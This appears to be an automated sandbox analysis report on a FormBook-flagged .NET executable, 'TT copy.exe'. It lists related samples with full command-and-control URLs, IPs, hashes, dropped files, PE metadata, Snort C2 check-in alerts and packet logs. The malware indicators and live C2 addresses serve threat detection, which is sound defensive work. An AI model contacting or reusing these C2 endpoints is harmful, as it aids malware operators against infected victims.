	Bolt,Screw and Nuts Pdf.exe	Get hash	malicious	Browse	www.idealgel.store/rh2e/?_p=16pdpx3Z2CLnLsedcOAqFKSkp/PVRvaaRb/Fz/7YZqEn96gru6LtfyecFh8txU9LnOcbTQHAzA==&b2JLc=f0GX8zlxG
	louCCFrO4t.exe	Get hash	malicious	Browse	www.nelvashop.com/wn19/?cbi8pV=bXFHq2&eZe=74kz/+Omydv/tJV+ps5/T47bI5nxKh+DjdkrvIsUcwHn/m5f3NJjyQUUG1A7gP1GNjyQ
	PO-INQUIRY-VALE-SP-2022-60.exe	Get hash	malicious	Browse	www.shantellonlineshoph.com/j86w/?r0DdqnX=EvWqOpuITA36Tx+b1edEGBLtvk6gEbSmyN3aa/t6Vby44TN1y2mXcFBmC02e8zc2JU9V&THiL=OBZhFrvhwhfT
	2gl1wtChCW.exe	Get hash	malicious	Browse	www.threads34.store/wn19/?qL=rv1HgXCmNvTRWnk0t/PWMZTArWSxwY6VToXu23C5wd0SYVqo5hbnUnFufPtPTohMYlmc&3f=j48LRFwpOTO8ZZ10
	NEW ORDER.exe	Get hash	malicious	Browse	www.keilaniclothing.com/amdf/?i2JtQRj=/oFEaKse3b+9bUwDmBZBOOdpMJRIltPBO/GIVMmFEKpLcaQ5ll8yuFZgv1U3wDvmZl9m&1b3d=W6Tl74oXHxT
	FOB.exe	Get hash	malicious	Browse	www.skarpaknivar.com/itq4/?G6A=5fGKVan2CeJkvmWzjcSU9B7uKiQI1z+e0sTwE3xurJs5OMz97gZrg+cY3yxMh/dahrVH&G8wXH=d2MtHlXxA6Sp-VA
	PO4257802.exe	Get hash	malicious	Browse	www.etherealgoodsstore.com/eatw/?1bg8iRS8=X4FH6sFjsMse+EmPmvWjbOSqVd1+hPpA8FUsf4QBKYPcLBeKbrzdjTcdDeeGwt8LIyCB&v4=hZeT5FgXN
	Zahtjev je u prilogu.exe	Get hash	malicious	Browse	www.rematedeldia.com/euv4/?hN9h2=Hv38QzLXhZo0&BPS8=E+AdldMsUtuIxZV3GzeilCEOXtaM5yG6oWVR/2hlbhe5LZ2inqV2BFV3XJP/iWrQyfl8Exrprg==
	specyfikacja.xlsx	Get hash	malicious	Browse	www.tahnforest.com/ocgr/?k6fHa=kkcvVq0wi344hScNU4MaTtaHwAG6gu+AbYnshH2Mwdzmny692Kyslm9Zl5HbU1qzW86BLg==&ftx=Ap5TPphXonmpsH

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
www.huiyi-sui.com	paymentcopy_0012.exe	Get hash	malicious	Browse	198.44.241.20
d1-hitch-eu-nlb-e064e2845fd0c838.elb.eu-central-1.amazonaws.com	paymentcopy_0012.exe	Get hash	malicious	Browse	18.193.36.153
	https://manchesterawning.dudaone.com/	Get hash	malicious	Browse	3.67.141.185
	Payment confirmation reference.exe	Get hash	malicious	Browse	18.193.36.153
	https://mihal-associates.multiscreensite.com/	Get hash	malicious	Browse	3.127.73.216
	https://www.lanemedllc.com/	Get hash	malicious	Browse	3.127.73.216
	ultDr2ofCk.exe	Get hash	malicious	Browse	3.127.73.216
	p31FWTXZxT.exe	Get hash	malicious	Browse	3.127.73.216
	New_order.exe	Get hash	malicious	Browse	18.193.36.153
	PURCHASE.EXE	Get hash	malicious	Browse	3.127.73.216
	Purchase_Order.exe	Get hash	malicious	Browse	3.127.73.216
	PI-09876542345.exe	Get hash	malicious	Browse	18.193.36.153
	Tecnimac Order SO22-54382.xlsx	Get hash	malicious	Browse	3.67.141.185
	Payment Advice.xlsx	Get hash	malicious	Browse	18.193.36.153
	Ass.exe	Get hash	malicious	Browse	3.67.141.185
	d.exe	Get hash	malicious	Browse	3.67.141.185
	NetCrULFzQ.exe	Get hash	malicious	Browse	3.67.141.185
	invoice.exe	Get hash	malicious	Browse	18.193.36.153
	6YqXY74A6zXfyQA.exe	Get hash	malicious	Browse	3.67.141.185
	Order-Payment.exe	Get hash	malicious	Browse	3.67.141.185
	order payment.exe	Get hash	malicious	Browse	18.193.36.153
www.408wmountain.info	paymentcopy_0012.exe	Get hash	malicious	Browse	66.96.162.130

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
EGIHOSTINGUS	x86	Get hash	malicious	Browse	107.164.204.45
	8CY7lwQQbQ	Get hash	malicious	Browse	166.93.191.7
	Shipment Consignment Notification-#U00a0 6183111.exe	Get hash	malicious	Browse	107.187.31.215
	4I9zpWsNRB	Get hash	malicious	Browse	205.164.26.4
	XWE736wRPv	Get hash	malicious	Browse	192.177.167.70
	dD2niauWUc.exe	Get hash	malicious	Browse	104.164.49.18
	thMtniHOSg	Get hash	malicious	Browse	45.39.166.101
	SecuriteInfo.com.X97M.DownLoader.535.15867.xls	Get hash	malicious	Browse	107.187.232.27
	SecuriteInfo.com.X97M.DownLoader.535.950.xls	Get hash	malicious	Browse	107.187.232.27
	SecuriteInfo.com.X97M.DownLoader.535.20853.xls	Get hash	malicious	Browse	107.187.232.27
	SecuriteInfo.com.X97M.DownLoader.535.18563.xls	Get hash	malicious	Browse	107.187.232.27
	SecuriteInfo.com.X97M.DownLoader.535.9316.xls	Get hash	malicious	Browse	107.187.232.27
	SecuriteInfo.com.X97M.DownLoader.535.31748.xls	Get hash	malicious	Browse	107.187.232.27
	SecuriteInfo.com.X97M.DownLoader.535.31145.xls	Get hash	malicious	Browse	107.187.232.27
	SecuriteInfo.com.X97M.DownLoader.535.27076.xls	Get hash	malicious	Browse	107.187.232.27
	SecuriteInfo.com.X97M.DownLoader.535.4651.xls	Get hash	malicious	Browse	107.187.232.27
	SecuriteInfo.com.X97M.DownLoader.535.13662.xls	Get hash	malicious	Browse	107.187.232.27
	SecuriteInfo.com.X97M.DownLoader.535.26800.xls	Get hash	malicious	Browse	107.187.232.27
	SecuriteInfo.com.X97M.DownLoader.535.21931.xls	Get hash	malicious	Browse	107.187.232.27
	SecuriteInfo.com.X97M.DownLoader.535.13529.xls	Get hash	malicious	Browse	107.187.232.27
COGENT-174US	TropicalV1.arm	Get hash	malicious	Browse	206.234.73.168
	arm-20220602-1945	Get hash	malicious	Browse	149.113.122.88
	arm	Get hash	malicious	Browse	38.183.120.14
	8xq7hsMfn0	Get hash	malicious	Browse	149.18.7.172
	djWXcpcbUl	Get hash	malicious	Browse	23.237.86.148
	r4z0r.arm	Get hash	malicious	Browse	38.83.42.147
	KWxsuEuN4y	Get hash	malicious	Browse	38.137.84.147
	YEuBbqz209	Get hash	malicious	Browse	23.154.10.238
	b1JMHtDdwq	Get hash	malicious	Browse	38.10.205.225
	mips	Get hash	malicious	Browse	38.8.9.195
	Nova ozljeda 034245627782.DOC.exe	Get hash	malicious	Browse	38.55.142.232
	BILL OF LADING-CI-PL-BL_xlsx.exe	Get hash	malicious	Browse	154.23.227.120
	arm7	Get hash	malicious	Browse	149.57.170.179
	x86	Get hash	malicious	Browse	149.57.170.179
	arm	Get hash	malicious	Browse	149.57.170.179
	#U00aeInvoice Payment#U00ae.html	Get hash	malicious	Browse	38.34.185.163
	c9O21NXLpH	Get hash	malicious	Browse	206.238.164.50
	x86	Get hash	malicious	Browse	149.110.96.157
	4PVahP5GIa	Get hash	malicious	Browse	38.127.150.131
	arm6	Get hash	malicious	Browse	38.216.188.67

JA3 Fingerprints

⊘No context

Dropped Files

⊘No context

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\TT copy.exe.log

Download File

Process:	C:\Users\user\Desktop\TT copy.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1308
Entropy (8bit):	5.345811588615766
Encrypted:	false
SSDEEP:	24:MLUE4K5E4Ks2E1qE4qXKDE4KhK3VZ9pKhPKIE4oKFKHKoZAE4Kzr7FE4x84FsXE8:MIHK5HKXE1qHiYHKhQnoPtHoxHhAHKzu
MD5:	2E016B886BDB8389D2DD0867BE55F87B
SHA1:	25D28EF2ACBB41764571E06E11BF4C05DD0E2F8B
SHA-256:	1D037CF00A8849E6866603297F85D3DABE09535E72EDD2636FB7D0F6C7DA3427
SHA-512:	C100729153954328AA2A77EECB2A3CBD03CB7E8E23D736000F890B17AAA50BA87745E30FB9E2B0D61E16DCA45694C79B4CE09B9F4475220BEB38CAEA546CFC2A
Malicious:	true
Reputation:	high, very likely benign file
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..2,"System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",0..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\4f0a7eefa3cd3e0ba98b5ebddbbc72e6\System.ni.dll",0..2,"System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Core\f1d8480152e0da9a60ad49c6d16a3b6d\System.Core.ni.dll",0..3,"System.Configuration, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Configuration\8d67d92724ba494b6c7fd089d6f25b48\System.Configuration.ni.dll",0..3,"System.Xml, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Xml\b219d4630d26b88041b59c21

C:\Users\user\AppData\Local\Temp\DB1

Download File

Process:	C:\Windows\SysWOW64\cmd.exe
File Type:	SQLite 3.x database, last written using SQLite version 3032001
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.792852251086831
Encrypted:	false
SSDEEP:	48:2i3nBA+IIY1PJzr9URCVE9V8MX0D0HSFlNUfAlGuGYFoNSs8LKvUf9KVyJ7hU:pBCJyC2V8MZyFl8AlG4oNFeymw
MD5:	81DB1710BB13DA3343FC0DF9F00BE49F
SHA1:	9B1F17E936D28684FFDFA962340C8872512270BB
SHA-256:	9F37C9EAF023F2308AF24F412CBD850330C4EF476A3F2E2078A95E38D0FACABB
SHA-512:	CF92D6C3109DAB31EF028724F21BAB120CF2F08F7139E55100292B266A363E579D14507F1865D5901E4B485947BE22574D1DBA815DE2886C118739C3370801F1
Malicious:	false
Reputation:	high, very likely benign file
Preview:	SQLite format 3......@ ..........................................................................C.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Entropy (8bit):	7.846879588611659
TrID:	Win32 Executable (generic) Net Framework (10011505/4) 49.83% Win32 Executable (generic) a (10002005/4) 49.78% Generic CIL Executable (.NET, Mono, etc.) (73296/58) 0.36% Generic Win/DOS Executable (2004/3) 0.01% DOS Executable Generic (2002/1) 0.01%
File name:	TT copy.exe
File size:	661504
MD5:	6443c909d7e8034f945f3e1dc138a046
SHA1:	a8a4d0653f3598cd477e5887cf12b3ed33625898
SHA256:	de1caed83e7085b2ee79d77ea41b9cfa079182680e7db2c1a8d3cedbc2ac2676
SHA512:	cb15a3039678a6dccfdaf91c3adad44ae243f9a7072bc361807fbc116e8e131fb6b1a038f954558bdc33f5097039f4deb03a717563b3cd0fae88bf6376e88217
SSDEEP:	12288:gxcggFvvr8qAs3eNmNapF2Gmolguwa9R6pes0CWB9+YOI/I:WEvrBAs3emE5WulGp3xaGaI
TLSH:	6EE401A8B2B79E13D5255776D1F2026D03F16582E132E3C71FDA52CA1A027E54EC1F8B
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.....................0..............,... ...@....@.. ....................................@................................

File Icon


Icon Hash:	00828e8e8686b000

Static PE Info

General

Entrypoint:	0x4a2cee
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	LOCAL_SYMS_STRIPPED, 32BIT_MACHINE, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED
DLL Characteristics:	NO_SEH, TERMINAL_SERVER_AWARE, DYNAMIC_BASE, NX_COMPAT
Time Stamp:	0xE98C9EE8 [Mon Mar 1 18:37:28 2094 UTC]
TLS Callbacks:
CLR (.Net) Version:	v4.0.30319
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	f34d5f2d4577ed6d9ceec516c1f5a744

Entrypoint Preview

Instruction
jmp dword ptr [00402000h]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0xa2ca0	0x4b	.text
IMAGE_DIRECTORY_ENTRY_RESOURCE	0xa4000	0x600	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0xa6000	0xc	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0xa2c4f	0x1c	.text
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x2000	0x8	.text
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x2008	0x48	.text
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x2000	0xa0cf4	0xa0e00	False	0.918677459693	data	7.8550082389	IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ
.rsrc	0xa4000	0x600	0x600	False	0.430338541667	data	4.19980462584	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0xa6000	0xc	0x200	False	0.044921875	data	0.101910425663	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country
RT_VERSION	0xa40a0	0x374	data
RT_MANIFEST	0xa4414	0x1ea	XML 1.0 document, UTF-8 Unicode (with BOM) text, with CRLF line terminators

Imports

DLL	Import
mscoree.dll	_CorExeMain

Version Infos

Description	Data
Translation	0x0000 0x04b0
LegalCopyright	Copyright 2019
Assembly Version	1.0.0.0
InternalName	StreamingContextSta.exe
FileVersion	1.0.0.0
CompanyName
LegalTrademarks
Comments
ProductName	RandomFieldGenerator
ProductVersion	1.0.0.0
FileDescription	RandomFieldGenerator
OriginalFilename	StreamingContextSta.exe

Network Behavior

Snort IDS Alerts

Timestamp	Protocol	SID	Message	Source Port	Dest Port	Source IP	Dest IP
192.168.2.418.193.36.15349786802031453 06/03/22-08:17:26.941837	TCP	2031453	ET TROJAN FormBook CnC Checkin (GET)	49786	80	192.168.2.4	18.193.36.153
192.168.2.4154.36.145.11049893802031412 06/03/22-08:19:23.968199	TCP	2031412	ET TROJAN FormBook CnC Checkin (GET)	49893	80	192.168.2.4	154.36.145.110
192.168.2.4185.254.241.17349780802031453 06/03/22-08:16:58.893159	TCP	2031453	ET TROJAN FormBook CnC Checkin (GET)	49780	80	192.168.2.4	185.254.241.173
192.168.2.4185.254.241.17349780802031412 06/03/22-08:16:58.893159	TCP	2031412	ET TROJAN FormBook CnC Checkin (GET)	49780	80	192.168.2.4	185.254.241.173
192.168.2.418.193.36.15349786802031412 06/03/22-08:17:26.941837	TCP	2031412	ET TROJAN FormBook CnC Checkin (GET)	49786	80	192.168.2.4	18.193.36.153
192.168.2.4154.36.145.11049893802031453 06/03/22-08:19:23.968199	TCP	2031453	ET TROJAN FormBook CnC Checkin (GET)	49893	80	192.168.2.4	154.36.145.110
192.168.2.434.102.136.18049896802031453 06/03/22-08:19:29.232565	TCP	2031453	ET TROJAN FormBook CnC Checkin (GET)	49896	80	192.168.2.4	34.102.136.180
192.168.2.434.102.136.18049896802031412 06/03/22-08:19:29.232565	TCP	2031412	ET TROJAN FormBook CnC Checkin (GET)	49896	80	192.168.2.4	34.102.136.180
192.168.2.4185.254.241.17349780802031449 06/03/22-08:16:58.893159	TCP	2031449	ET TROJAN FormBook CnC Checkin (GET)	49780	80	192.168.2.4	185.254.241.173
192.168.2.418.193.36.15349786802031449 06/03/22-08:17:26.941837	TCP	2031449	ET TROJAN FormBook CnC Checkin (GET)	49786	80	192.168.2.4	18.193.36.153
192.168.2.434.102.136.18049896802031449 06/03/22-08:19:29.232565	TCP	2031449	ET TROJAN FormBook CnC Checkin (GET)	49896	80	192.168.2.4	34.102.136.180
192.168.2.4154.36.145.11049893802031449 06/03/22-08:19:23.968199	TCP	2031449	ET TROJAN FormBook CnC Checkin (GET)	49893	80	192.168.2.4	154.36.145.110

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jun 3, 2022 08:16:58.603405952 CEST	49780	80	192.168.2.4	185.254.241.173
Jun 3, 2022 08:16:58.892931938 CEST	80	49780	185.254.241.173	192.168.2.4
Jun 3, 2022 08:16:58.893033028 CEST	49780	80	192.168.2.4	185.254.241.173
Jun 3, 2022 08:16:58.893158913 CEST	49780	80	192.168.2.4	185.254.241.173
Jun 3, 2022 08:16:59.184253931 CEST	80	49780	185.254.241.173	192.168.2.4
Jun 3, 2022 08:16:59.184284925 CEST	80	49780	185.254.241.173	192.168.2.4
Jun 3, 2022 08:16:59.184439898 CEST	49780	80	192.168.2.4	185.254.241.173
Jun 3, 2022 08:16:59.199980021 CEST	49780	80	192.168.2.4	185.254.241.173
Jun 3, 2022 08:16:59.489670038 CEST	80	49780	185.254.241.173	192.168.2.4
Jun 3, 2022 08:17:09.455876112 CEST	49783	80	192.168.2.4	162.213.255.237
Jun 3, 2022 08:17:09.623946905 CEST	80	49783	162.213.255.237	192.168.2.4
Jun 3, 2022 08:17:09.624089003 CEST	49783	80	192.168.2.4	162.213.255.237
Jun 3, 2022 08:17:09.624197006 CEST	49783	80	192.168.2.4	162.213.255.237
Jun 3, 2022 08:17:09.791697025 CEST	80	49783	162.213.255.237	192.168.2.4
Jun 3, 2022 08:17:09.869417906 CEST	80	49783	162.213.255.237	192.168.2.4
Jun 3, 2022 08:17:09.869456053 CEST	80	49783	162.213.255.237	192.168.2.4
Jun 3, 2022 08:17:09.869611025 CEST	49783	80	192.168.2.4	162.213.255.237
Jun 3, 2022 08:17:11.636780024 CEST	49783	80	192.168.2.4	162.213.255.237
Jun 3, 2022 08:17:11.805303097 CEST	80	49783	162.213.255.237	192.168.2.4
Jun 3, 2022 08:17:26.876758099 CEST	49784	80	192.168.2.4	18.193.36.153
Jun 3, 2022 08:17:26.896604061 CEST	80	49784	18.193.36.153	192.168.2.4
Jun 3, 2022 08:17:26.896914005 CEST	49784	80	192.168.2.4	18.193.36.153
Jun 3, 2022 08:17:26.897332907 CEST	49784	80	192.168.2.4	18.193.36.153
Jun 3, 2022 08:17:26.897754908 CEST	49784	80	192.168.2.4	18.193.36.153
Jun 3, 2022 08:17:26.898488045 CEST	49785	80	192.168.2.4	18.193.36.153
Jun 3, 2022 08:17:26.916351080 CEST	80	49784	18.193.36.153	192.168.2.4
Jun 3, 2022 08:17:26.916953087 CEST	80	49784	18.193.36.153	192.168.2.4
Jun 3, 2022 08:17:26.916986942 CEST	80	49784	18.193.36.153	192.168.2.4
Jun 3, 2022 08:17:26.917125940 CEST	49784	80	192.168.2.4	18.193.36.153
Jun 3, 2022 08:17:26.917160034 CEST	49784	80	192.168.2.4	18.193.36.153
Jun 3, 2022 08:17:26.917546034 CEST	80	49785	18.193.36.153	192.168.2.4
Jun 3, 2022 08:17:26.917673111 CEST	49785	80	192.168.2.4	18.193.36.153
Jun 3, 2022 08:17:26.921689034 CEST	49785	80	192.168.2.4	18.193.36.153
Jun 3, 2022 08:17:26.922116995 CEST	49786	80	192.168.2.4	18.193.36.153
Jun 3, 2022 08:17:26.940596104 CEST	80	49785	18.193.36.153	192.168.2.4
Jun 3, 2022 08:17:26.940642118 CEST	80	49785	18.193.36.153	192.168.2.4
Jun 3, 2022 08:17:26.940670013 CEST	80	49785	18.193.36.153	192.168.2.4
Jun 3, 2022 08:17:26.940696001 CEST	80	49785	18.193.36.153	192.168.2.4
Jun 3, 2022 08:17:26.940722942 CEST	80	49785	18.193.36.153	192.168.2.4
Jun 3, 2022 08:17:26.940751076 CEST	80	49785	18.193.36.153	192.168.2.4
Jun 3, 2022 08:17:26.940778971 CEST	80	49785	18.193.36.153	192.168.2.4
Jun 3, 2022 08:17:26.940789938 CEST	49785	80	192.168.2.4	18.193.36.153
Jun 3, 2022 08:17:26.940804958 CEST	80	49785	18.193.36.153	192.168.2.4
Jun 3, 2022 08:17:26.940831900 CEST	80	49785	18.193.36.153	192.168.2.4
Jun 3, 2022 08:17:26.940833092 CEST	49785	80	192.168.2.4	18.193.36.153
Jun 3, 2022 08:17:26.940846920 CEST	49785	80	192.168.2.4	18.193.36.153
Jun 3, 2022 08:17:26.940865040 CEST	49785	80	192.168.2.4	18.193.36.153
Jun 3, 2022 08:17:26.940876961 CEST	49785	80	192.168.2.4	18.193.36.153
Jun 3, 2022 08:17:26.940891027 CEST	49785	80	192.168.2.4	18.193.36.153
Jun 3, 2022 08:17:26.940902948 CEST	49785	80	192.168.2.4	18.193.36.153
Jun 3, 2022 08:17:26.941128969 CEST	80	49785	18.193.36.153	192.168.2.4
Jun 3, 2022 08:17:26.941257954 CEST	49785	80	192.168.2.4	18.193.36.153
Jun 3, 2022 08:17:26.941409111 CEST	80	49786	18.193.36.153	192.168.2.4
Jun 3, 2022 08:17:26.941689014 CEST	49786	80	192.168.2.4	18.193.36.153
Jun 3, 2022 08:17:26.941837072 CEST	49786	80	192.168.2.4	18.193.36.153
Jun 3, 2022 08:17:26.959610939 CEST	80	49785	18.193.36.153	192.168.2.4
Jun 3, 2022 08:17:26.959635973 CEST	80	49785	18.193.36.153	192.168.2.4
Jun 3, 2022 08:17:26.959722996 CEST	80	49785	18.193.36.153	192.168.2.4
Jun 3, 2022 08:17:26.959762096 CEST	49785	80	192.168.2.4	18.193.36.153
Jun 3, 2022 08:17:26.959799051 CEST	80	49785	18.193.36.153	192.168.2.4
Jun 3, 2022 08:17:26.959803104 CEST	49785	80	192.168.2.4	18.193.36.153
Jun 3, 2022 08:17:26.959809065 CEST	49785	80	192.168.2.4	18.193.36.153
Jun 3, 2022 08:17:26.959994078 CEST	80	49785	18.193.36.153	192.168.2.4
Jun 3, 2022 08:17:26.960078001 CEST	80	49785	18.193.36.153	192.168.2.4
Jun 3, 2022 08:17:26.960102081 CEST	80	49785	18.193.36.153	192.168.2.4
Jun 3, 2022 08:17:26.960119963 CEST	49785	80	192.168.2.4	18.193.36.153
Jun 3, 2022 08:17:26.960134983 CEST	49785	80	192.168.2.4	18.193.36.153
Jun 3, 2022 08:17:26.960139990 CEST	49785	80	192.168.2.4	18.193.36.153
Jun 3, 2022 08:17:26.960164070 CEST	49785	80	192.168.2.4	18.193.36.153
Jun 3, 2022 08:17:26.960191965 CEST	80	49785	18.193.36.153	192.168.2.4
Jun 3, 2022 08:17:26.960289955 CEST	80	49785	18.193.36.153	192.168.2.4
Jun 3, 2022 08:17:26.960331917 CEST	49785	80	192.168.2.4	18.193.36.153
Jun 3, 2022 08:17:26.960346937 CEST	49785	80	192.168.2.4	18.193.36.153
Jun 3, 2022 08:17:26.960700035 CEST	80	49786	18.193.36.153	192.168.2.4
Jun 3, 2022 08:17:26.960726976 CEST	80	49786	18.193.36.153	192.168.2.4
Jun 3, 2022 08:17:26.960746050 CEST	80	49786	18.193.36.153	192.168.2.4
Jun 3, 2022 08:17:26.960892916 CEST	49786	80	192.168.2.4	18.193.36.153
Jun 3, 2022 08:17:26.962259054 CEST	49786	80	192.168.2.4	18.193.36.153
Jun 3, 2022 08:17:26.981889009 CEST	80	49786	18.193.36.153	192.168.2.4
Jun 3, 2022 08:17:37.138861895 CEST	49789	80	192.168.2.4	66.96.162.130
Jun 3, 2022 08:17:37.238564014 CEST	80	49789	66.96.162.130	192.168.2.4
Jun 3, 2022 08:17:37.238653898 CEST	49789	80	192.168.2.4	66.96.162.130
Jun 3, 2022 08:17:37.238796949 CEST	49789	80	192.168.2.4	66.96.162.130
Jun 3, 2022 08:17:37.238871098 CEST	49789	80	192.168.2.4	66.96.162.130
Jun 3, 2022 08:17:37.239272118 CEST	49790	80	192.168.2.4	66.96.162.130
Jun 3, 2022 08:17:37.336659908 CEST	80	49789	66.96.162.130	192.168.2.4
Jun 3, 2022 08:17:37.337215900 CEST	80	49790	66.96.162.130	192.168.2.4
Jun 3, 2022 08:17:37.337344885 CEST	49790	80	192.168.2.4	66.96.162.130
Jun 3, 2022 08:17:37.338881969 CEST	49790	80	192.168.2.4	66.96.162.130
Jun 3, 2022 08:17:37.339355946 CEST	49791	80	192.168.2.4	66.96.162.130
Jun 3, 2022 08:17:37.378067970 CEST	80	49789	66.96.162.130	192.168.2.4
Jun 3, 2022 08:17:37.378091097 CEST	80	49789	66.96.162.130	192.168.2.4
Jun 3, 2022 08:17:37.378197908 CEST	49789	80	192.168.2.4	66.96.162.130
Jun 3, 2022 08:17:37.378207922 CEST	49789	80	192.168.2.4	66.96.162.130
Jun 3, 2022 08:17:37.436837912 CEST	80	49790	66.96.162.130	192.168.2.4
Jun 3, 2022 08:17:37.436865091 CEST	80	49790	66.96.162.130	192.168.2.4
Jun 3, 2022 08:17:37.436877012 CEST	80	49790	66.96.162.130	192.168.2.4
Jun 3, 2022 08:17:37.436914921 CEST	80	49790	66.96.162.130	192.168.2.4
Jun 3, 2022 08:17:37.436929941 CEST	49790	80	192.168.2.4	66.96.162.130
Jun 3, 2022 08:17:37.436988115 CEST	49790	80	192.168.2.4	66.96.162.130
Jun 3, 2022 08:17:37.437530041 CEST	80	49791	66.96.162.130	192.168.2.4
Jun 3, 2022 08:17:37.437624931 CEST	49791	80	192.168.2.4	66.96.162.130
Jun 3, 2022 08:17:37.438126087 CEST	49791	80	192.168.2.4	66.96.162.130
Jun 3, 2022 08:17:37.534831047 CEST	80	49790	66.96.162.130	192.168.2.4
Jun 3, 2022 08:17:37.534849882 CEST	80	49790	66.96.162.130	192.168.2.4
Jun 3, 2022 08:17:37.534861088 CEST	80	49790	66.96.162.130	192.168.2.4
Jun 3, 2022 08:17:37.535408974 CEST	80	49790	66.96.162.130	192.168.2.4
Jun 3, 2022 08:17:37.535424948 CEST	80	49790	66.96.162.130	192.168.2.4
Jun 3, 2022 08:17:37.535851002 CEST	80	49791	66.96.162.130	192.168.2.4
Jun 3, 2022 08:17:37.549096107 CEST	80	49791	66.96.162.130	192.168.2.4
Jun 3, 2022 08:17:37.549120903 CEST	80	49791	66.96.162.130	192.168.2.4
Jun 3, 2022 08:17:37.549354076 CEST	49791	80	192.168.2.4	66.96.162.130
Jun 3, 2022 08:17:37.549397945 CEST	49791	80	192.168.2.4	66.96.162.130
